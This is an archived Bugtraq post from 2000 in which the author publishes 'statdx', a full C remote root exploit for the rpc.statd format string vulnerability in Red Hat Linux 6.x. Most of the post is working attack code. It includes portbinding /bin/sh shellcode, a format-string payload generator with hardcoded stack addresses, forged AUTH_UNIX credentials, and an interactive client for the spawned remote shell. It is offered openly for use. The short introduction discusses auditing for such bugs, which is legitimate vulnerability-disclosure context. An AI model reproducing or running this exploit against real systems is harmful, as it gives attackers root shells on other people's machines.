5336258 2000-08-07  08:24  /679 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12065>
Ärende: Redhat Linux 6.x remote root exploit
------------------------------------------------------------
From: ron1n - <shellcode@HOTMAIL.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <F17L1c00goZolmRBaYF000022f6@hotmail.com>

Hi,

Included below is an exploit for the recently exposed linux rpc.statd
format string vulnerability[0]. I have tailored it towards current
Redhat Linux 6.x installations. It can easily be incorporated into
attacks against the other vulnerable Linux distributions.

I am not a security expert, but I'll offer my two cents worth: this
format string issue, while drawing upon elements of straightforward
buffer overflow exploitation, is more insidious and will probably
take some time to instill itself in the minds of even
security-conscious programmers. Programs like ITS4[1], pscan[2], and
grep (heh!) do offer valuable assistance when trying to isolate weak
portions of code in a phase one search. However, one thing I've
learnt during my short time researching these things is that the
complex interaction between code and data introduces the need for a
more extensive line by line audit[3].

This "new" problem will (if it hasn't already) spark a new wave of
code reviews of critical applications, especially those networking
daemons and privileged programs which were given the "all clear" in
the first sweep (although history shows us that a lot of programs
somehow slipped through the cracks.) Someone else sent an excellent
post about the possibility of "remote debugging" with these format
string vulnerabilities. Once again, I'm not speaking out of any
authority, but I can say that such an aid to otherwise blind
exploitation is indeed a godsend when a host is being probed by a
skilled intruder.

You must understand that this particular vulnerability is much harder
to exploit than the buffer overflow vulnerabilities that you're
probably accustomed to. The problem which will bite you is that if
the calculations are not precise, statd crashes with a SIGSEGV. As
you've realized by now, brute forcing won't cut it. Also, a
successful exploitation will render subsequent attacks fruitless.

I have seen statd running on a great number of linux systems and if
you can simulate an attack against a remote system on one of your own
boxes, it is *trivial* to exploit that remote system. Despite the
shortcoming with the single attempt restriction, it was possible to
reduce the exploitation variables down to a SINGLE address for most
attacks. The default values for Redhat Linux 6.x work fine for me, so
I'm probably fussing over nothing.

Anyway, enjoy the exploit.

ron1n
shellcode@hotmail.com
Sydney, Australia
McDonalds drive-thru guy

[0] http://www.securityfocus.com/
[1] http://www.rstcorp.com/its4/
[2] http://www.striker.ottawa.on.ca/~aland/pscan/
[3] http://www.openbsd.org/


!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$

/**
*** statdx
*** Redhat Linux 6.0/6.1/6.2 rpc.statd remote root exploit (IA32)
*** by ron1n <shellcode@hotmail.com>
***
*** July 24, 2000
*** Sydney, Australia
***
*** Oh you prob'ly won't remember me
*** It's prob'ly ancient history
*** I'm one of the chosen few
*** Who went ahead and fell for you
***
*** $ gcc -o statdx statdx.c ; ./statdx -h
***
*** background info
*** ---------------
*** rpc.statd is an ONC RPC server that implements the Network Status
*** Monitor RPC protocol to provide reboot notification. It is used by
*** the NFS file locking service (rpc.lockd) when it performs lock
*** recovery.
***
*** Due to a format string vulnerability in a call to syslog() within
*** its logging module, rpc.statd can be exploited remotely by script
*** kids bent on breaking into your Redhat Linux box and defacing your
*** website with crackpot political musings.
***
*** This is not a traditional buffer overflow vulnerability. The data
*** are kept within the bounds of the buffer by means of a call to
*** vsnprintf(). The saved return address can be overwritten indirectly
*** without a contiguous payload. syslog() is given, for the most part,
*** a user-supplied format string with no process-supplied arguments.
*** Our format string will, if carefully constructed, cause the process
*** to cull non-arbitrary addresses from the top of the stack for
*** sequential writes using controlled values. Exploitation requires
*** an executable stack on the target host -- almost invariably the
*** case. This problem was corrected in the nfs-utils-0.1.9.1 rpm.
***
*** exploit info
*** ------------
*** You have one shot at this in most situations, so get it right!
***
*** If you know the port number rpc.statd is serving requests on, you
*** can supply the port number on the commandline to bypass the initial
*** portmapper query. This is very useful for hosts which are filtering
*** inbound connections to the portmapper. The default attack protocol
*** is UDP. There is a commandline option to use TCP. Apparently, the
*** dispatcher uses both protocols by default.
***
*** If you're only interested in exploiting a host, then you can safely
*** skip the following information. You'll only need a buffer address
*** to get started. This buffer address will either be one of my canned
*** ones or your own one. It must be precise, and this is where you're
*** likely to experience difficulties with your attacks.
***
*** [va_list][str][4][r][4][r+1][4][r+2][4][r+3]----->
*** |       |
*** %esp    buffer[1024]
***
*** [%x..][%!d][%n][%!d][%n][%!d][%n][%!d][%n][sc]--->
***       |   r   |   r+1  |   r+2  |  r+3   |
***
*** buffer  ->  This is the address you'll need (-a and -l options)
*** str     ->  Process-supplied string; 24 bytes long
*** 4       ->  Duplicate dwords to satisfy the %!d specifiers and
***             the double %n when two successive values are equal
*** r       ->  Stack position of saved eip
*** %x..    ->  Wipes the va_list dword and str; 9 by default (-w option)
*** %!d     ->  Used for padding to form an aggregate overwrite value;
***             the exclamation mark denotes a field width. This may
***             or may not be present, depending on the value. An
***             algorithm is used to allow tricky values.
*** %n      ->  Writes overwrite value to the corresponding address
*** sc      ->  Nops + portbinding shellcode (port 39168)
***
*** Only modify the default wipe value and the default offset value if you
*** know what you're doing.
***
*** An easy way to get the buffer address for simulation systems that you
*** have privileged access to:
***
*** [term 1]# ltrace -p `pidof rpc.statd` -o foo
*** [term 2]$ ./statdx -r 0x41414141 localhost
*** [term 1]# grep vsnprintf foo | head -1 | sed 's/.*(//' | \
***	     awk -F"," '{print $1}'
***
*** (Of course, ensure that rpc.statd is started at boot time and not from
*** an interactive shell, otherwise it will inherit a larger environment
*** and blow the accuracy of your findings.)
***
*** Ok, longwinded enough. Let's dance.
***
*** greets
*** ------
*** ADM, attrition, rogues, security.is, teso
***
**/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define SM_PROG 100024
#define SM_VERS 1
#define SM_STAT 1
#define SM_MAXSTRLEN 1024

#define max(a,b) ((a)>(b)?(a):(b))

#define NOP 0x90

/*
** Non-ripped linux IA32 portbinding shellcode.
** port: 39168 ; length: 133 bytes
*/

char shellcode[] =
"\x31\xc0"                              /* xorl   %eax,%eax             */
/* jmp ricochet ------------------------------------------------------- */
"\xeb\x7c"                              /* jmp    0x7c                  */
/* kungfu: ------------------------------------------------------------ */
"\x59"                                  /* popl   %ecx                  */
"\x89\x41\x10"                          /* movl   %eax,0x10(%ecx)       */
/* ------------------------------------ socket(2,1,0); ---------------- */
"\x89\x41\x08"                          /* movl   %eax,0x8(%ecx)        */
"\xfe\xc0"                              /* incb   %al                   */
"\x89\x41\x04"                          /* movl   %eax,0x4(%ecx)        */
"\x89\xc3"                              /* movl   %eax,%ebx             */
"\xfe\xc0"                              /* incb   %al                   */
"\x89\x01"                              /* movl   %eax,(%ecx)           */
"\xb0\x66"                              /* movb   $0x66,%al             */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ bind(sd,&sockaddr,16); -------- */
"\xb3\x02"                              /* movb   $0x2,%bl              */
"\x89\x59\x0c"                          /* movl   %ebx,0xc(%ecx)        */
"\xc6\x41\x0e\x99"                      /* movb   $0x99,0xe(%ecx)       */
"\xc6\x41\x08\x10"                      /* movb   $0x10,0x8(%ecx)       */
"\x89\x49\x04"                          /* movl   %ecx,0x4(%ecx)        */
"\x80\x41\x04\x0c"                      /* addb   $0xc,0x4(%ecx)        */
"\x88\x01"                              /* movb   %al,(%ecx)            */
"\xb0\x66"                              /* movb   $0x66,%al             */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ listen(sd,blah); -------------- */
"\xb3\x04"                              /* movb   $0x4,%bl              */
"\xb0\x66"                              /* movb   $0x66,%al             */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ accept(sd,0,16); -------------- */
"\xb3\x05"                              /* movb   $0x5,%bl              */
"\x30\xc0"                              /* xorb   %al,%al               */
"\x88\x41\x04"                          /* movb   %al,0x4(%ecx)         */
"\xb0\x66"                              /* movb   $0x66,%al             */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ dup2(cd,0); ------------------- */
"\x89\xce"                              /* movl   %ecx,%esi             */
"\x88\xc3"                              /* movb   %al,%bl               */
"\x31\xc9"                              /* xorl   %ecx,%ecx             */
"\xb0\x3f"                              /* movb   $0x3f,%al             */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ dup2(cd,1); ------------------- */
"\xfe\xc1"                              /* incb   %cl                   */
"\xb0\x3f"                              /* movb   $0x3f,%al             */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ dup2(cd,2); ------------------- */
"\xfe\xc1"                              /* incb   %cl                   */
"\xb0\x3f"                              /* movb   $0x3f,%al             */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ execve("/bin/sh",argv,0); ----- */
"\xc7\x06\x2f\x62\x69\x6e"              /* movl   $0x6e69622f,(%esi)    */
"\xc7\x46\x04\x2f\x73\x68\x41"          /* movl   $0x4168732f,0x4(%esi) */
"\x30\xc0"                              /* xorb   %al,%al               */
"\x88\x46\x07"                          /* movb   %al,0x7(%esi)         */
"\x89\x76\x0c"                          /* movl   %esi,0xc(%esi)        */
"\x8d\x56\x10"                          /* leal   0x10(%esi),%edx       */
"\x8d\x4e\x0c"                          /* leal   0xc(%esi),%ecx        */
"\x89\xf3"                              /* movl   %esi,%ebx             */
"\xb0\x0b"                              /* movb   $0xb,%al              */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ exit(blah); ------------------- */
"\xb0\x01"                              /* movb   $0x1,%al              */
"\xcd\x80"                              /* int    $0x80                 */
/* ricochet: call kungfu ---------------------------------------------- */
"\xe8\x7f\xff\xff\xff";                 /* call   -0x81                 */

enum res
{
    stat_succ,
    stat_fail
};

struct sm_name
{
    char *mon_name;
};

struct sm_stat_res
{
    enum res res_stat;
    int state;
};

struct type
{
    int type;
    char *desc;
    char *code;
    u_long bufpos;
    int buflen;
    int offset;
    int wipe;
};

struct type types[] =
{
    {0, "Redhat 6.2 (nfs-utils-0.1.6-2)", shellcode, 0xbffff314, 1024, 600,
9},
    {1, "Redhat 6.1 (knfsd-1.4.7-7)", shellcode, 0xbffff314, 1024, 600, 9},
    {2, "Redhat 6.0 (knfsd-1.2.2-4)", shellcode, 0xbffff314, 1024, 600, 9},
    {0, NULL, NULL, 0, 0, 0, 0}
};

bool_t
xdr_sm_name(XDR *xdrs, struct sm_name *objp)
{
    if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN))
        return (FALSE);
    return (TRUE);
}

bool_t
xdr_res(XDR *xdrs, enum res *objp)
{
    if (!xdr_enum(xdrs, (enum_t *)objp))
        return (FALSE);
    return (TRUE);
}

bool_t
xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp)
{
    if (!xdr_res(xdrs, &objp->res_stat))
        return (FALSE);
    if (!xdr_int(xdrs, &objp->state))
        return (FALSE);
    return (TRUE);
}

void
usage(char *app)
{
    int i;

    fprintf(stderr, "statdx by ron1n <shellcode@hotmail.com>\n");
    fprintf(stderr, "Usage: %s [-t] [-p port] [-a addr] [-l len]\n",
    app);
    fprintf(stderr, "\t[-o offset] [-w num] [-s secs] [-d type]
<target>\n");
    fprintf(stderr, "-t\tattack a tcp dispatcher [udp]\n");
    fprintf(stderr, "-p\trpc.statd serves requests on <port> [query]\n");
    fprintf(stderr, "-a\tthe stack address of the buffer is <addr>\n");
    fprintf(stderr, "-l\tthe length of the buffer is <len> [1024]\n");
    fprintf(stderr, "-o\tthe offset to return to is <offset> [600]\n");
    fprintf(stderr, "-w\tthe number of dwords to wipe is <num> [9]\n");
    fprintf(stderr, "-s\tset timeout in seconds to <secs> [5]\n");
    fprintf(stderr, "-d\tuse a hardcoded <type>\n");
    fprintf(stderr, "Available types:\n");

    for(i = 0; types[i].desc; i++)
        fprintf(stderr, "%d\t%s\n", types[i].type, types[i].desc);

    exit(EXIT_FAILURE);
}

void
runshell(int sockd)
{
    char buff[1024];
    int fmax, ret;
    fd_set fds;

    fmax = max(fileno(stdin), sockd) + 1;
    send(sockd, "cd /; ls -alF; id;\n", 19, 0);

    for(;;)
    {

        FD_ZERO(&fds);
        FD_SET(fileno(stdin), &fds);
        FD_SET(sockd, &fds);

        if(select(fmax, &fds, NULL, NULL, NULL) < 0)
        {
            perror("select()");
            exit(EXIT_FAILURE);
        }

        if(FD_ISSET(sockd, &fds))
        {
            bzero(buff, sizeof buff);
            if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
            {
                perror("recv()");
                exit(EXIT_FAILURE);
            }
            if(!ret)
            {
                fprintf(stderr, "Connection closed\n");
                exit(EXIT_FAILURE);
            }
            write(fileno(stdout), buff, ret);
        }

        if(FD_ISSET(fileno(stdin), &fds))
        {
            bzero(buff, sizeof buff);
            ret = read(fileno(stdin), buff, sizeof buff);
            errno = 0;
            if(send(sockd, buff, ret, 0) != ret)
            {
                if(errno) perror("send()");
                else fprintf(stderr, "Transmission loss\n");
                exit(EXIT_FAILURE);
            }
        }
    }
}

void
connection(struct sockaddr_in host)
{
    int sockd;

    host.sin_port = htons(39168);

    if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    {
        perror("socket()");
        exit(EXIT_FAILURE);
    }

    if(!connect(sockd, (struct sockaddr *) &host, sizeof host))
    {
        printf("OMG! You now have rpc.statd technique!@#$!\n");
        runshell(sockd);
    }

    close(sockd);
}


char *
wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe)
{
    int i, j, cnt, pad;
    char pbyte, *buff, *ptr;
    u_long retpos;
    u_long dstpos;


    while(bufpos % 4) bufpos--;
    /* buflen + ebp */
    retpos = bufpos + buflen + 4;

/*
** 0x00 == '\0'
** 0x25 == '%'
** (add troublesome bytes)
** Alignment requirements aid comparisons
*/

    pbyte = retpos & 0xff;

    /* Yes, it's 0x24 */
    if(pbyte == 0x00 || pbyte == 0x24)
    {
        fprintf(stderr, "Target address space contains a poison char\n");
        exit(EXIT_FAILURE);
    }

/*
** Unless the user gives us a psychotic value,
** the address should now be clean.
*/

    /* str */
    cnt = 24;
    /* 1 = process nul */
    buflen -= cnt + 1;

    if(!(buff = malloc(buflen + 1)))
    {
        perror("malloc()");
        exit(EXIT_FAILURE);
    }

    ptr = buff;
    memset(ptr, NOP, buflen);

    for(i = 0; i < 4; i++, retpos++)
    {
        /* junk dword */
        for(j = 0; j < 4; j++)
            *ptr++ = retpos >> j * 8 & 0xff;
        /* r + i */
        memcpy(ptr, ptr - 4, 4);
        ptr += 4; cnt += 8;
    }

    /* restore */
    retpos -= 4;

    for(i = 0; i < wipe; i++)
    {
        /* consistent calculations */
        strncpy(ptr, "%8x", 3);
        ptr += 3; cnt += 8;
    }

    dstpos = bufpos + offset;

/*
** This small algorithm of mine can be used
** to obtain "difficult" values..
*/

    for(i = 0; i < 4; i++)
    {
        pad = dstpos >> i * 8 & 0xff;
        if(pad == (cnt & 0xff))
        {
            sprintf(ptr, "%%n%%n");
            ptr += 4; continue;
        }
        else
        {
            int tmp;
            /* 0xffffffff = display count of 8 */
            while(pad < cnt || pad % cnt <= 8) pad += 0x100;
            pad -= cnt, cnt += pad;
            /* the source of this evil */
            tmp = sprintf(ptr, "%%%dx%%n", pad);
            ptr += tmp;
        }

    }

    *ptr = NOP;
    /* plug in the shellcode */
    memcpy(buff + buflen - strlen(sc), sc, strlen(sc));
    buff[buflen] = '\0';

    printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos,
    strlen(buff)); printf("target: %#lx new: %#lx (offset: %d)\n",
    retpos, dstpos, offset); printf("wiping %d dwords\n", wipe);
    return buff;
}

struct in_addr
getip(char *host)
{
    struct hostent *hs;

    if((hs = gethostbyname(host)) == NULL)
    {
        herror("gethostbyname()");
        exit(EXIT_FAILURE);
    }

    return *((struct in_addr *) hs->h_addr);
}


int
main(int argc, char **argv)
{
    int ch;
    char *buff;

    CLIENT *clnt;
    enum clnt_stat res;
    struct timeval tv, tvr;
    struct sm_name smname;
    struct sm_stat_res smres;
    struct sockaddr_in addr;

    int type = -1;
    int usetcp = 0;
    int timeout = 5;
    int wipe = 9;
    int offset = 600;
    int buflen = 1024;
    char *target;
    char *sc = shellcode;
    u_short port = 0;
    u_long bufpos = 0;

    int sockp = RPC_ANYSOCK;

    extern char *optarg;
    extern int optind;
    extern int opterr;
    opterr = 0;


    while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1)
    {
        switch(ch)
        {
            case 't': usetcp = 1; break;
            case 'p': sscanf(optarg, "%hu", &port); break;
            case 'a': sscanf(optarg, "%lx", &bufpos); break;
            case 'l': buflen = atoi(optarg); break;
            case 'o': offset = atoi(optarg); break;
            case 's': timeout = atoi(optarg); break;
            case 'w': wipe = atoi(optarg); break;
            case 'd': type = atoi(optarg); break;
            default : usage(argv[0]);
        }
    }

    if(!(target = argv[optind]))
    {
        fprintf(stderr, "No target host specified\n");
        exit(EXIT_FAILURE);
    }

    if(type >= 0)
    {
        if(type >= sizeof types / sizeof types[0] - 1)
        {
            fprintf(stderr, "Invalid type\n");
            exit(EXIT_FAILURE);
        }

        sc = types[type].code;
        bufpos = types[type].bufpos;
        buflen = types[type].buflen;
        offset = types[type].offset;
        wipe = types[type].wipe;
    }

    if(!bufpos)
    {
        fprintf(stderr, "No buffer address specified\n");
        exit(EXIT_FAILURE);
    }

    bzero(&addr, sizeof addr);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr = getip(target);

    tv.tv_sec = timeout;
    tv.tv_usec = 0;

    if(!usetcp)
    {
        clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp);
        if(clnt == NULL)
        {
            clnt_pcreateerror("clntudp_create()");
            exit(EXIT_FAILURE);
        }
        tvr.tv_sec = 2;
        tvr.tv_usec = 0;
        clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr);
    }
    else
    {
        clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0);
        if(clnt == NULL)
        {
            clnt_pcreateerror("clnttcp_create()");
            exit(EXIT_FAILURE);
        }
    }

    /* AUTH_UNIX / AUTH_SYS authentication forgery */
    clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);

    buff = wizardry(sc, bufpos, buflen, offset, wipe);
    smname.mon_name = buff;

    res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name,
        (caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res,
        (caddr_t) &smres, tv);

    if(res != RPC_SUCCESS)
    {
        clnt_perror(clnt, "clnt_call()");
        printf("A timeout was expected. Attempting connection to shell..");
        sleep(5); connection(addr);
        printf("Failed\n");
    }
    else
    {
        printf("Failed - statd returned res_stat: (%s) state: %d\n",
                smres.res_stat ? "failure" : "success", smres.state);
    }

    free(buff);
    clnt_destroy(clnt);
    return -1;
}



________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com
(5336258) ------------------------------------------(Ombruten)